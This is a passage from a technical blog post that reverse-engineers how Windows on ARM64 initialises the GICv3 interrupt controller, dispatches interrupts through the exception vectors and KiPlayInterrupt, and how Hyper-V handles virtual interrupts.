<p>This means that from <code class="language-plaintext highlighter-rouge">GIC3_LOCALUNIT_INFO-&gt;Redistributor + 0x1000</code> contains the start of the SGI/PPI redistributor registers. From the SGI/PPI registers the <code class="language-plaintext highlighter-rouge">GICR_ICENABLER0</code> register, or the <em>Interrupt Clear-Enable Register 0</em> register, is configured. This register is configured to enable the forwarding of all interrupts to the GIC redistributor by setting the <em>enable</em> bit (indicated by writing a value of <code class="language-plaintext highlighter-rouge">1</code>) to the target register - while also being sensitive to any SGIs (<code class="language-plaintext highlighter-rouge">GICR_ICENABLER0</code> encapsulates both SGIs and PPIs) which are reserved for the ARM Firmware Framework A-Architecture (FF-A). Specifically, the <code class="language-plaintext highlighter-rouge">FFA_FEATURE</code> call is made to retrieve the interrupt ID (INTID) for the <em>Schedule Receiver interrupt</em> (SRI) and ensures that this interrupt ID is always <em>disabled</em>. However, this is only applicable in some operating environments (like without the presence of Hyper-V) and, therefore, my machine shows that <code class="language-plaintext highlighter-rouge">nt!HalpFfaEarlyErrorRecords</code>, an array of errors associated with initializing FF-A, reports an error of <code class="language-plaintext highlighter-rouge">STATUS_NOT_SUPPORTED</code>, which is <em>translated</em> from the <code class="language-plaintext highlighter-rouge">FFA_ERROR</code> code of <code class="language-plaintext highlighter-rouge">NOT_SUPPORTED</code> (and, thus, no need to worry about “special” handling of SGIs associated with the FF-A). This means that there is no SGI reserved for the FF-A’s SRI. This is just something I felt the need to call out. This can be also further validated by checking the presence of <code class="language-plaintext highlighter-rouge">nt!HalFfaSupported</code> and <code class="language-plaintext highlighter-rouge">nt!HalFfaInitialized</code> - which denote FFA support and state.</p>

<p><img src="/images/arminterrupt-29.png" alt="" /></p>

<p>Finally, one of the last <code class="language-plaintext highlighter-rouge">nt!HalpGic3InitializeLocalUnit</code> does is configure the <a href="https://developer.arm.com/documentation/101593/0101/AArch64-System-registers/GIC-register-summary/ICC-CTLR-EL1--Interrupt-Controller-Control-Register--EL1-"><code class="language-plaintext highlighter-rouge">ICC_CTLR_EL1</code></a> system register, which is the <em>Interrupt Control Register</em>. If the operating environment is <code class="language-plaintext highlighter-rouge">ExtEnvHypervisor</code> then <code class="language-plaintext highlighter-rouge">ICC_CTLR_EL1.EOIMode</code> (End-of-interrupt) is set. Otherwise (as is in our case, since our operating environment is <code class="language-plaintext highlighter-rouge">ExtEnvHvRoot</code>) <code class="language-plaintext highlighter-rouge">EOIMode</code> is set to <code class="language-plaintext highlighter-rouge">0</code>. End of interrupt (EOI) refers to a specific action that is taken to indicate that the software routine which handled a target interrupt has completed. A value of <code class="language-plaintext highlighter-rouge">0</code> in the register indicates that a write to, for example, <code class="language-plaintext highlighter-rouge">ICC_EOIR1_EL1</code> (which is for group 1 interrupts) is <em>both</em> responsible for “priority drop” and deactivation of an interrupt. Whereas a value of <code class="language-plaintext highlighter-rouge">1</code> indicates a write to a <em>separate</em> register is needed for deactivation. The [ARM] documentation on configuring the GIC <a href="https://developer.arm.com/documentation/198123/0302/Handling-interrupts">states</a> that this mode (<code class="language-plaintext highlighter-rouge">EOIMode == 1</code>) is used for virtualization purposes.</p>

<p><code class="language-plaintext highlighter-rouge">nt!HalpGic3InitializeLocalUnitData</code> ends by re-enabling interrupts, now that the local CPU unit (redistributor and CPU interface) is configured, via <code class="language-plaintext highlighter-rouge">ICC_IGRPEN1_EL1</code> (and later <code class="language-plaintext highlighter-rouge">nt!HalpInterruptMarkProcessorStarted</code> marks the processor as “started” for interrupts)</p>

<p><img src="/images/arminterrupt-30.png" alt="" /></p>

<p>After <code class="language-plaintext highlighter-rouge">nt!HalpGic3InitializeLocalUnit</code> data exits, a <em>per-CPU</em> (technically per-core, and my system has 12 cores) structure, <code class="language-plaintext highlighter-rouge">INTERRUPT_TARGET</code>, is filled out and managed by the symbol <code class="language-plaintext highlighter-rouge">nt!HalpInterruptTargets</code>. This is achieved via <code class="language-plaintext highlighter-rouge">nt!HalpGic3ConvertId</code>. These structures outline additional information about the CPU schema, such as if the CPU resides in a cluster, along with CPU ID information. The CPU ID information is effectively the previously mentioned affinity values from the <code class="language-plaintext highlighter-rouge">MPIDR_EL1</code> system register.</p>

<p><img src="/images/arminterrupt-31.png" alt="" /></p>

<p>After configuring the interrupt targets (representing the targets for which interrupts can arrive) the <em>real</em> per-CPU interrupt priority is set with a call to <code class="language-plaintext highlighter-rouge">nt!HalpGic3SetPriority</code> (we saw earlier it was temporarily set to <code class="language-plaintext highlighter-rouge">0</code>). After the local unit is stood up, the priority is updated per-CPU to <code class="language-plaintext highlighter-rouge">0xF0</code>. <code class="language-plaintext highlighter-rouge">0xF0</code> is <code class="language-plaintext highlighter-rouge">0b11110000</code> in binary (and bits <code class="language-plaintext highlighter-rouge">0:7</code> in <code class="language-plaintext highlighter-rouge">ICC_PMR_EL1</code>, the priority register, make up the priority level). When setting a value of <code class="language-plaintext highlighter-rouge">0xF0</code> this indicates that the <em>total</em> number of priority levels is <code class="language-plaintext highlighter-rouge">16</code>. This means priority levels <code class="language-plaintext highlighter-rouge">0 - 15</code> will be handled by each CPU interface.</p>

<p><img src="/images/arminterrupt-32.png" alt="" /></p>

<p>Once the priority level has been configured (for each CPU), execution is transferred to the function <code class="language-plaintext highlighter-rouge">nt!HalpGic3InitializeIoUnit</code> - which accepts a parameter to the <code class="language-plaintext highlighter-rouge">GIC3_DATA</code> we have been referencing - is called. Specifically the <code class="language-plaintext highlighter-rouge">GIC3_DATA-&gt;IoUnit</code> is configured - which is GIC distributor structure’s <em>virtual</em> address. This means this function is <em>not</em> called per-CPU and instead is called to perform further configuration of the singular GIC distributor. When I say “GIC distributor structure” I am referring to the ARM-documented “one” with all of the memory-mapped registers like the <code class="language-plaintext highlighter-rouge">GICD_CTLR</code>, <code class="language-plaintext highlighter-rouge">GICD_TYPER</code>, etc. This is where more configuration of these registers occurs.</p>

<p><code class="language-plaintext highlighter-rouge">GIC3_DATA-&gt;InputLineCount</code> is first configured. This is done by extracting <code class="language-plaintext highlighter-rouge">GICR_TYPER-&gt;ITLinesNumber</code>. According to ARM documentation, the <code class="language-plaintext highlighter-rouge">ITLinesNumber</code> is the “number of SPIs divided by 32”. So, <code class="language-plaintext highlighter-rouge">InputLineCount</code> is simply <code class="language-plaintext highlighter-rouge">GICR_TYPER-&gt;ITLinesNumber</code> * 32. This refers, effectively, to the maximum SPI INTID. This calculation also has to do with the number of interrupt lines (lines = interrupt IDs in our case) that are even available - although some interrupt sources may share a line.</p>

<p>We already previously talked about <em>extended SPI</em> support. This is indicated by <code class="language-plaintext highlighter-rouge">GICD_TYPER-&gt;ESPI</code>. The machine this analysis was conducted on has extended SPI support. When extended SPI support is enabled, bits <code class="language-plaintext highlighter-rouge">31:27</code> in the <code class="language-plaintext highlighter-rouge">GICD_TYPER</code> are no longer “reserved” - but refer to <code class="language-plaintext highlighter-rouge">ESPI_range</code>. This is extracted and stored in <code class="language-plaintext highlighter-rouge">ExtendedInputLineCount</code> to indicate the maximum supported extended SPI INTID.</p>

<p><img src="/images/arminterrupt-33.png" alt="" /></p>

<p>From here Windows then <em>unconditionally</em> clears <code class="language-plaintext highlighter-rouge">GICD_CTLR.EnableGrp1NS</code> - which is represented by bit <code class="language-plaintext highlighter-rouge">1</code> (from index of <code class="language-plaintext highlighter-rouge">0</code>). This means this <em>disables</em> interrupts in the non-secure group 1 group. This is a <em>temporary</em> measure while the rest of the GIC distributor is configured. Next, if the GIC distributor (which, again, is <em>memory-mapped</em> in physical memory and has not been yet fully-configured by the operating system) has <code class="language-plaintext highlighter-rouge">GICD_CTLR.ARE_S</code> configured - which enables affinity routing in the <em>secure</em> state - <em>or</em> if <code class="language-plaintext highlighter-rouge">ARE_S</code> is <em>not</em> set (which in this case <code class="language-plaintext highlighter-rouge">ARE_S</code> is set to <code class="language-plaintext highlighter-rouge">1</code> - meaning either way <code class="language-plaintext highlighter-rouge">ARE_S</code> is going to be set to <code class="language-plaintext highlighter-rouge">1</code>) the interrupt lines which are supported go under further configuration.</p>

<p>The <code class="language-plaintext highlighter-rouge">GICD_ICENABLER&lt;n&gt;</code> register, part of the distributor, contains a bitmask which corresponds to a particular interrupt that denotes if forwarding of the interrupt from the distributor to the target CPU interface is allowed. <code class="language-plaintext highlighter-rouge">nt!HalpGic3InitializeIoUnit</code> beings by configuring all of the <code class="language-plaintext highlighter-rouge">GICD_ICENABLER</code> registers (which are 4 bytes each) to a value of <code class="language-plaintext highlighter-rouge">0xFFFFFFFF</code> - which prevents any interrupts from being forwarded to the target CPU interface.</p>

<p>Next, all of the <code class="language-plaintext highlighter-rouge">GICD_IROUTER&lt;n&gt;</code> registers (and all of the <code class="language-plaintext highlighter-rouge">GICD_IROUTER&lt;n&gt;E</code>, for extended interrupts) for the GIC distributor (still being configured) are all set to a value of <code class="language-plaintext highlighter-rouge">0</code>. A <code class="language-plaintext highlighter-rouge">GICD_IROUTER</code> register, which is 8 bytes, contains the necessary information for routing a particular SPI (SPI, not SGI, etc.) for a particular interrupt number.</p>

<p>Lastly for this function, if the local unit data has not been marked as initialized, a call to <code class="language-plaintext highlighter-rouge">nt!HalpGic3DescribeLines</code> occurs. This results in the filling out of <code class="language-plaintext highlighter-rouge">INTERRUPT_LINES</code> structures, which are maintained in a doubly-linked list, which define the <em>type</em> of interrupt line (we have already talked about “lines”, but the lines on which an interrupt arrive are associated with a particular interrupt source like an SGI, PPI, etc.), internal line state, etc. All of the interrupt lines are maintained through the registered interrupt controller through the <code class="language-plaintext highlighter-rouge">LinesHead</code> linked list head.</p>

<p><img src="/images/arminterrupt-34.png" alt="" /></p>

<p>As we can see, the “max” and “min” line values refer to the values in which an interrupt ID resides (this refers to the “lines” on which interrupts can arrive - an interrupt is tied to an ID). For example, the interrupt line described as <code class="language-plaintext highlighter-rouge">InterruptLineMsi</code>, which refers to message-based interrupts, can have an interrupt ID from <code class="language-plaintext highlighter-rouge">8192 - 32768</code> - this is outlined as well by ARM documentation. The <code class="language-plaintext highlighter-rouge">INTERRUPT_LINES</code> list maintains information about each of the interrupt sources and all of the lines on which an interrupt can arrive (there is a difference between what is possible and what is supported. Windows does not support handling every single interrupt ID). The initialization of all of the interrupt lines results then in the <code class="language-plaintext highlighter-rouge">GIC3_DATA</code> (<code class="language-plaintext highlighter-rouge">nt!HalpGic3</code>) being fully initialized (<code class="language-plaintext highlighter-rouge">InternalData-&gt;Initialized = 1</code>) and also re-enabling group 1 non-secure interrupts (<code class="language-plaintext highlighter-rouge">GICD_CTLR.EnableGrp1NS</code>), which was <em>previously</em> cleared. This completes, finally, the functionality encapsulated by <code class="language-plaintext highlighter-rouge">nt!HalpInterruptInitializeController</code>.</p>

<p>If interrupt initialization has been succcessful up until this point, a call is made to parse the entire MADT (Multiple APIC Description Table, which we have already talked about) via <code class="language-plaintext highlighter-rouge">nt!HalpInterruptParseMadt</code>. <em>Technically</em> speaking this occurs as a result of <em>another</em> call to <code class="language-plaintext highlighter-rouge">nt!HalpInterruptParseAcpiTables</code>. We previously saw this function was one of the first invoked in the <code class="language-plaintext highlighter-rouge">nt!HalpInitializeInterrupts</code> routine - which kicked off the interrupt initialization. However, a boolean gates whether or not the MADT is actually parsed (which denotes if an interrupt controller has been registered yet). This second call now passes in “true” and, thus, we parse the MADT.</p>

<p><code class="language-plaintext highlighter-rouge">nt!HalpInterruptPraseMadt</code> determines which features are available for the interrupt controller - such as the layout of the GIC distributor, redistributors, etc. This is particularly interesting, because comparing the code between x64 and ARM - there is effectively 100% overlap. For instance, ARM machines employ a GIC - but yet there is code which validates APICs. For x64, there is code which validates GICs. As far as our ARM analysis goes, the parsing is done to gather additional information about the specifics of the interrupt controller implementation (GIC) for determining if, for example, interrupts need to be “hyper threading aware” (<code class="language-plaintext highlighter-rouge">nt!HalpInterruptHyperThreading</code>), a list of non-maskable interrupt sources (NMI), etc.</p>

<p>Finally, the last part of the interrupt initialization results in the initialization of the IPIs (which are a common name for SGIs. These are the inter-processor interrupts where cores can send interrupts to other cores) via <code class="language-plaintext highlighter-rouge">nt!InterruptInitializeIpis</code>. Once this has completed, the HAL’s private dispatch table is updated (<code class="language-plaintext highlighter-rouge">nt!HalPrivateDispatchTable</code>) with a few interrupt-relevant routines.</p>

<p><img src="/images/arminterrupt-35.png" alt="" /></p>

<p><img src="/images/arminterrupt-36.png" alt="" /></p>

<h2 id="interrupt-delivery-and-handling---windows-on-arm">Interrupt Delivery and Handling - Windows on ARM</h2>
<p>With the interrupt controller now configured and initialized the OS can now start receiving interrupts in <em>software</em>. As <a href="https://connormcgarr.github.io/arm64-windows-internals-basics/">previously mentioned</a> in another blog - even interrupts are delivered as “exceptions” on ARM.</p>

<p>This obviously means one of the main differences between x64 and and ARM is how interrupts arrive in software, and then even further how the high-level handler invokes the interrupt-sepcific handler (for example, there is no IDT on ARM and there is no <code class="language-plaintext highlighter-rouge">nt!KiIsrThunk</code> or <code class="language-plaintext highlighter-rouge">nt!KiIsrLinkage</code>). Interrupts are dispatched as exceptions (typically an <em>asynchronus</em> exception which mean the exception is external to the CPU) - and thus, it is worth quickly examining the details surrounding how exception dispatching reaches the high-level interrupt handler on ARM64 Windows systems. Windows ARM systems maintain a vector of exception handlers through the symbol <code class="language-plaintext highlighter-rouge">nt!KiArm64ExceptionVectors</code> (and, for EL1 - kernel-mode - this is stored in the <code class="language-plaintext highlighter-rouge">VBAR_EL1</code> system register). This is <em>not</em> an array of function pointers and instead of a large blob of code which are accessible through different function names. The entire stub is self-contained. I have outlined this in a <a href="https://connormcgarr.github.io/arm64-windows-internals-basics/">previous blog</a> about Windows on ARM basics. <a href="https://documentation-service.arm.com/static/63a065c41d698c4dc521cb1c">ARM documentation</a> defines a fixed definition as to how the layout of these tables should look (see “AArch64 vector tables”). For our purposes, the exception handler associated with handling interrupts which occur while execution is in user-mode is located at <code class="language-plaintext highlighter-rouge">VBAR_EL1</code> at an offset of <code class="language-plaintext highlighter-rouge">0x80</code> (<code class="language-plaintext highlighter-rouge">nt!KiKernelSp0InterruptHandler</code>). It should be noted that the CPU core <em>itself</em> is what computes the necessary offset into the exception table and invokes the target function - not software itself.</p>

<p><img src="/images/arminterrupt-37.png" alt="" /></p>

<p>Interestingly enough, this is not the end of the story. There is not just one single handler present. Depending on the state of the CPU (where execution was) when the interrupt happens, a different exception (interrupt) handler may be invoked. For instance, if execution was in kernel-mode when the interrupt occurs, the offset changes to <code class="language-plaintext highlighter-rouge">0x280</code> - and the target function becomes <code class="language-plaintext highlighter-rouge">nt!KiKernelInterruptHandler</code>. <code class="language-plaintext highlighter-rouge">nt!KiUserInterruptHandler</code> (offset <code class="language-plaintext highlighter-rouge">0x480</code>) is invoked when an exception goes into a higher exception level (EL0 -&gt; EL1) and at least one of the lower exception levels is runing ARM64. <code class="language-plaintext highlighter-rouge">nt!KiUser32InterruptHandler</code> is at offset <code class="language-plaintext highlighter-rouge">0x680</code> and is invoked when the same type of exception occurs, but all lower exception levels are ARM32 (different exception levels can be different architectures).</p>

<p><img src="/images/arminterrupt-38.png" alt="" /></p>

<p>Interrupts, generally speaking on Windows, will always take an exception into EL1 - as this is where the various interrupt handlers are present. Given this, the <code class="language-plaintext highlighter-rouge">SPSR_EL1</code> <a href="https://developer.arm.com/documentation/ddi0601/2025-12/AArch64-Registers/SPSR-EL1--Saved-Program-Status-Register--EL1-">system register</a> helps us to understand why a particular exception was taken into EL1. Because <code class="language-plaintext highlighter-rouge">PSTATE</code> is not directly accessible through a single system register, the Saved Program Status Register (SPSR) acts as a “snapshot” of sorts with relevant information about the current state of the CPU. This is needed for preserving and, later, restoring the state of the CPU at the time the exception (interrupt in our case) was handled.</p>

<p>After the current state of the CPU is known - there are a few more items of interest which are needed before, and in order to, dispatch the interrupt to software. The first is the CPU needs to know additionally where to return execution after the interrupt has taken place. There is a special system register, <code class="language-plaintext highlighter-rouge">ELR_EL1</code> - the exception link register - which contains this address and is typically the <em>next</em> instruction to be executed (e.g., the first instruction that has not completed yet). In addition to the exception return address, we need to target a specific stack for the operation. At a bit of a higher-level, in software, interrupt service routines (ISRs) already have special reserved stacks for interrupt handling. This is because kernel stack space is limited, and we want to ensure that ISRs are not handled on stacks without any space left. At a bit of a <em>lower</em> level, the same thing happens conceptually. The CPU must also target a specific stack for the operation in the first place (while software on Windows handles the ISR stacks). Without compilcating things, <em>generally</em> speaking interrupts which occur in EL0 and then are <em>trapped</em> into EL 1 are handled on the stack pointer (SP) stored in the <code class="language-plaintext highlighter-rouge">SP_EL0</code> register. For interrupts which occured when execution was already at EL1, obviously <code class="language-plaintext highlighter-rouge">SP_EL1</code> would instead be used. This is why the interrupt handler for interrupts which happened while execution was in EL0 have <code class="language-plaintext highlighter-rouge">Sp0</code> in the function name. Remember - interrupts are <em>interrupting</em> some sort of execution and need to be quick. The EL0 stack is the stack at whatever time the interrupt occured in EL0.</p>

<p>Our example will take a look at interrupts which occured while execution was in EL0 (<code class="language-plaintext highlighter-rouge">nt!KiKernelSp0InterruptHandler</code>). As mentioned, the first few things that happen (from the CPU’s perspective, and is transparent to the interrupt handler):</p>
<ol>
  <li><code class="language-plaintext highlighter-rouge">SPSR_EL1</code> is updated with the current <code class="language-plaintext highlighter-rouge">PSTATE</code> (the current state of the CPU). This is so the state can be restored later.</li>
  <li>The actual PSTATE is updated with all information about the new execution environment (which is EL1, because the interrupt is trapped into EL1)</li>
  <li>The CPU actually executes the target interrupt handler (and selects the proper stack, in this case the EL0 stack)</li>
</ol>

<p>Execution now is in the interrupt handler (obviously setting a breakpoint on the interrupt handler is not a great idea!). The first thing <code class="language-plaintext highlighter-rouge">nt!KiKernelSp0InterruptHandler</code> does is to update the current execution environment as far as <em>Windows</em> is concerned. This includes allocating space on the <code class="language-plaintext highlighter-rouge">SP_EL0</code> stack and also extracting a few pieces of information from the current <code class="language-plaintext highlighter-rouge">KPCR</code> structure (<code class="language-plaintext highlighter-rouge">TPIDR_EL1</code>/<code class="language-plaintext highlighter-rouge">x18</code>/<code class="language-plaintext highlighter-rouge">xpr</code> all hold the KPCR, as <a href="https://connormcgarr.github.io/arm64-windows-internals-basics/">previously mentioned</a>). Additionally, the <code class="language-plaintext highlighter-rouge">ELR_EL1</code>, <code class="language-plaintext highlighter-rouge">SPSR_EL1</code>, <code class="language-plaintext highlighter-rouge">ESR_EL1</code>, and <code class="language-plaintext highlighter-rouge">SP_EL0</code> registers are preserved. Once these registers are preserved, the <em>new</em> <code class="language-plaintext highlighter-rouge">SP_EL0</code> stack pointer is populated (since the old one is now preserved). The previously mentioned stack allocation is then to store trap frame which will is passed to the target interrupt handling operation (via <code class="language-plaintext highlighter-rouge">nt!KiInterruptException</code>). The target trap frame which will eventually be passed to <code class="language-plaintext highlighter-rouge">nt!KiInterruptException</code> is found directly on the stack (because execution is not returned from a return address on the stack since we are dealing with an exception and instead uses the exception link register and <code class="language-plaintext highlighter-rouge">ERET</code>) - although it still follow’s the typical calling convention, by copying this value also into <code class="language-plaintext highlighter-rouge">X0</code>.</p>

<p><img src="/images/arminterrupt-39.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">nt!KiBuildTrapFrame</code> invokes <code class="language-plaintext highlighter-rouge">nt!KiCompletePartialTrapFrame</code> (which has the aforementioned system registers, EL0 stack, etc. only at this point present in the trap frame) in order to grab more of what is needed. This includes the various debug registers and the <a href="https://developer.arm.com/Architectures/Scalable%20Vector%20Extensions">SVE</a> (Scalable Vector Excention) state. This function uses the stack space as the “output” parameter to store the final trap frame which is passed as the single argument to the function <code class="language-plaintext highlighter-rouge">nt!KiInterruptException</code>, which dispatches the correct interrupt handler in software.</p>

<p><img src="/images/arminterrupt-40.png" alt="" /></p>

<p>Before interacting with the interrupt controller (<code class="language-plaintext highlighter-rouge">HalpInterruptController</code>), a few “housekeeping” items first occur - including incrementing interrupt count and nesting level (if applicable - e.g., this is a nested interrupt) and updating the current CPU’s cycles/current runtime.</p>

<blockquote>
  <p>Note that in the process of creating this blog, my machine crashed a few times. Due to this, some of the values/etc. may change.</p>
</blockquote>

<p><img src="/images/arminterrupt-41.png" alt="" /></p>

<p>After this, the first bit of interrupt dispatching logic is called - and this is through <code class="language-plaintext highlighter-rouge">nt!HalpGic3AccceptAndGetSource</code>. This function simply reads from the <code class="language-plaintext highlighter-rouge">ICC_IAR1_EL1</code> system register. This achieves two things: the first is that a read from this register actually acts as the acknowledgement, from software, of the interrupt which has been signaled. In addition - this also provides the caller of the read functionality with the target interrupt ID (INTID). This value returned can also be one of the “special” interrupt values - including <code class="language-plaintext highlighter-rouge">0x3ff</code>, or <code class="language-plaintext highlighter-rouge">1023</code>, which denotes that there is no pending interrupt with a high-enough priority to actually be forwarded to the CPU (or if for whatever reason the interrupt is not appropriate for the target CPU as well).</p>

<p><img src="/images/arminterrupt-42.png" alt="" /></p>

<p>After the acknowledgement of the interrupt has occured, execution continues by grabbing the registered interrupt controller we have previously seen and iterating over all of the known/valid interrupt lines (INTIDs) and comparing this with the value which was provided by the interrupt acknowledgement register.</p>

<p>You will recall much earlier in the blog post when we talked about configuration of the various <code class="language-plaintext highlighter-rouge">KINTERRUPT</code> objects. Each of these objects, in the <code class="language-plaintext highlighter-rouge">Vector</code> field, contained what we saw was a target IRQL at which the target interrupt should be handled. Each of these vector values is mainted in the registered interrupt controller’s <code class="language-plaintext highlighter-rouge">INTERRUPT_LINES</code> member. Specifically, for a range of interrupt IDs the interrupt ID itself can be used as an index to find the appropriate information about how the target interrupt ID is to be handled. In this case we can see this is how the <code class="language-plaintext highlighter-rouge">Vector</code> is fetched, which gives us the target IRQL the CPU should be raised to in order to handle the target interrupt.</p>

<p><img src="/images/arminterrupt-43.png" alt="" /></p>

<p>After the IRQL is raised (or lowered) to the target IRQL, the “main” brains of the routing operation, <code class="language-plaintext highlighter-rouge">nt!KiPlayInterrupt</code>, is invoked (unless there is not enough stack space. In this case, <code class="language-plaintext highlighter-rouge">KxSwitchStackAndPlayInterrupt</code> is invoked, using the current CPU’s ISR - or Interrupt Service Routine - stack). <code class="language-plaintext highlighter-rouge">nt!KiPlayInterrupt</code> has the following prototype:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">KiPlayInterrupt</span> <span class="p">(</span>
   <span class="n">_In_</span> <span class="n">KTRAP_FRAME</span><span class="o">*</span> <span class="n">TrapFrame</span><span class="p">,</span>
   <span class="n">_In_</span> <span class="n">VectorFromInterruptLineData</span><span class="p">,</span>
   <span class="n">_In_</span> <span class="n">UINT8</span> <span class="n">Irql</span><span class="p">,</span>
   <span class="n">_In_</span> <span class="n">UINT8</span> <span class="n">PreviousIrql</span>
    <span class="p">);</span>
</code></pre></div></div>

<p>Now brings up the conversation about “vectored interrupts”. As you can see, ARM64 does not have the same concept of vectored interrupts as x64 does - where the IDT can be <em>directly</em> indexed by the CPU itself. Instead, as we have seen, ARM implements a <em>generic</em> interrupt controller - meaning that there is one single interrupt handler and then <em>software</em> must find the appropriate interrupt handler. On ARM, we still have the Interrupt Descriptor Table (IDT) - but it is not directly accessed by the CPU itself - only the vector of exception handlers is directly invoked by the CPU.</p>

<p>Instead, the vector value from the interrupt line state (and <code class="language-plaintext highlighter-rouge">KINTERRUPT</code> object itself) is used as an index into the IDT, but this is a <em>software</em> defined vector - not a vector “contract” that is required by the interrupt controller (again, only the <code class="language-plaintext highlighter-rouge">VBAR_EL1</code> table has a strong contract where the “high-level” interrupt handler must be present).</p>

<p><img src="/images/arminterrupt-44.png" alt="" /></p>

<p>This allows us to extract the target <code class="language-plaintext highlighter-rouge">KINTERRUPT</code> object. From here, the target <code class="language-plaintext highlighter-rouge">SerivceRoutine</code> can be extracted.  From here, there is a large if/else statement which determines if the interrupt needs further processing based on the target service routine (ISR).</p>

<p><img src="/images/arminterrupt-45.png" alt="" /></p>

<p>After the target interrupt handler is invoked, <code class="language-plaintext highlighter-rouge">nt!KiPlayInterrupt</code> is responsible (if applicable) for some additional cleanup - including decrementing the nested interrupt level, updating the CPU cycle count, etc. From here, execution returns to the caller - <code class="language-plaintext highlighter-rouge">nt!KiInterruptException</code>. From here, <code class="language-plaintext highlighter-rouge">nt!HalpGic3WriteEndOfInterrupt</code> is invoked - which simply writes to the <code class="language-plaintext highlighter-rouge">ICC_EOIR1_EL1</code> system register the interrupt ID which was handled.</p>

<p>The last thing which needs to occur is a restoration of the execution which was occuring when the interrupt took place. This occurs through the function <code class="language-plaintext highlighter-rouge">nt!KiRestoreFromTrapFrame</code>. This is a generic function, called by many exception handlers, which restores the execution state (via the preserved trap frame we showed at the beginning of the section of this blog) and performs the <code class="language-plaintext highlighter-rouge">ERET</code>, based on the target exception link register value, to EL0.</p>

<h2 id="virtualization-and-interrupts">Virtualization and Interrupts</h2>
<p>The implementation of virtual interrupts is a must for systems which are running virtualization software (like Hyper-V). Given that the Windows OS itself is virtualized, this means that virtualization and virtual interrupts are still very important constructs we have not talked about yet. There are a couple of important things to remember here - and that is there is still an additional traversal which occurs between EL0, EL1, and now EL2 with the addition of the hypervisor.</p>

<p>For virtual interrupts, the hypervisor configuration register (<code class="language-plaintext highlighter-rouge">HCR_EL2</code>) is responsible configuring the routing of physical interrupts. As <a href="https://connormcgarr.github.io/arm64-windows-internals-basics/">previously shown</a>, Hyper-V configures this register in its entry point. Hyper-V directly configures <code class="language-plaintext highlighter-rouge">HCR_EL2.FMO</code> and <code class="language-plaintext highlighter-rouge">HCR_EL2.IMO</code> - which, respectively, route physical interrupts (IRQs and FIQs) to EL2 (Hyper-V). However, <code class="language-plaintext highlighter-rouge">HCR_EL2.TGE</code> is <em>not</em> enabled for Hyper-V (trap general exceptions). Given this, there is some nuance about what these interrupts look like. From the ARM documentation, the following is said when <code class="language-plaintext highlighter-rouge">HCR_EL2.IMO</code> is set to <code class="language-plaintext highlighter-rouge">1</code>:</p>

<blockquote>

  <p>When executing at any Exception level, and EL2 is enabled in the current Security state:</p>
  <ul>
    <li>Physical IRQ interrupts are taken to EL2, unless they are routed to EL3.</li>
    <li>When the value of HCR_EL2.TGE is 0, then Virtual IRQ interrupts are enabled.</li>
  </ul>
</blockquote>

<p>What this <em>actually</em> means is that physical IRQs are not actually routed to EL2. Instead, <em>virtual</em> IRQs (virtual interrupts) are enabled in the configuration of the hypervisor that Hyper-V performs. It is worth quickly making a distinction - virtual interrupts are terms used by both Hyper-V (Windows) <em>and</em> ARM. ARM does not have any knowledge of the OS when it comes to virtual interrupt configuration. Hyper-V, as we will see, also implements an additional level of abstraction for virtual interrupts (especially for guests). <em>Windows Internals 7th Edition, Part 2</em> contains an entire section on “Virtual interrupts” - but it is worth talking about how ARM defines virtual interrupts first, and then moving on to the Hyper-V specific details. Virtual interrupts in general, for starters, represent interrupts which are seen by VMs/guests.</p>

<p>According to the <a href="https://learn.microsoft.com/en-us/virtualization/hyper-v-on-windows/tlfs/virtual-interrupts">TLFS</a>, ARM64 systems actually expose a <em>virtual</em> GIC (this is done by software working with the CPU, as called out by the ARM documentation. This is because the distributor, reidstributor, etc. is explicitly called out as not providing virtualization for these and, thus, requires some help from software running in EL2. This is beyond the scope of this blog post and is something achieved by the hypervisor) - which “conforms to the ARM GIC architecture specification”. This means technically in our dynamic analysis we have been dealing with a virtual GIC - but this has, obviously, been transparent to us because as “the guest” (where the analysis is performed) we simply just access the “normal” registers associated with the interrupt controller (because GICv3 has the ability to virtualize the interrupt controller!). However, even though the root partition is often enlightened with additional information that guests may not be privy to, both root and guest partitions go through the virtualized GIC. This is also why the <code class="language-plaintext highlighter-rouge">EXT_ENV</code> member of the registered interrupt controller is important - and why one of the options is <code class="language-plaintext highlighter-rouge">ExtEnvHvRoot</code>, for the root partition. This can be seen be comparing the output of the IDTs between a true guest and the OS living in the root partition.</p>

<p>Guest:</p>

<p><img src="/images/arminterrupt-46.png" alt="" /></p>

<p>Root parition (many other <code class="language-plaintext highlighter-rouge">KINTERRUPT</code> objects are truncated):</p>

<p><img src="/images/arminterrupt-47.png" alt="" /></p>

<p>Before we derail ourselves too far, let’s keep examining the “ARM” view of virtual interrupts. <a href="https://documentation-service.arm.com/static/65b7c197c2052a35156cc31a">ARM documentation</a> on this subject is very helpful. Firstly, virtual interrupts target virtual CPUs (not VMs). The hypervisor uses <code class="language-plaintext highlighter-rouge">ICH_XXX</code> instead of the <code class="language-plaintext highlighter-rouge">ICC_XXX</code> interrupt registers for interacting with virtual interrupts (this also means that virtualization of the GIC is a “hardware” construct in the sense that there are <em>dedicated</em> system registers to configure the virtual GIC’s functionality). Parsing a list of system register writes, in Hyper-V, reveals (obviously) the presence of virtual interrupt configuration and management (<code class="language-plaintext highlighter-rouge">ICH_HCR_EL2</code> is the effectively virutal interrupt configuration register):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x14022760c   sub_1402275D0   MSR c12 #4   MSR ICH_HCR_EL2, X8
</code></pre></div></div>

<p>As <em>Windows Internals, 7th Edition, Part 2</em> calls out - Hyper-V is configured (but does not leverage) to support up to 16 virtual interrupt types. This conforms exactly to what ARM supports. One virtual interrupt is represented by a single <code class="language-plaintext highlighter-rouge">ICH_LR&lt;N&gt;_EL2</code> register - where <code class="language-plaintext highlighter-rouge">N</code> is a value between 0 and 15 (16 total). A hypervisor write to one of these registers corresponds to the generation of a virtual interrupt. Again, by parsing Hyper-V, we can see several instances of the generation of a virtual interrupt:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x140228a7c   sub_140228A30   MSR c12 #4   MSR ICH_LR1_EL2, X8
0x140228af0   sub_140228A30   MSR c12 #4   MSR ICH_LR0_EL2, X8
0x140228bdc   sub_140228A30   MSR c12 #4   MSR ICH_LR2_EL2, X8
0x140228c38   sub_140228A30   MSR c12 #4   MSR ICH_LR15_EL2, X8
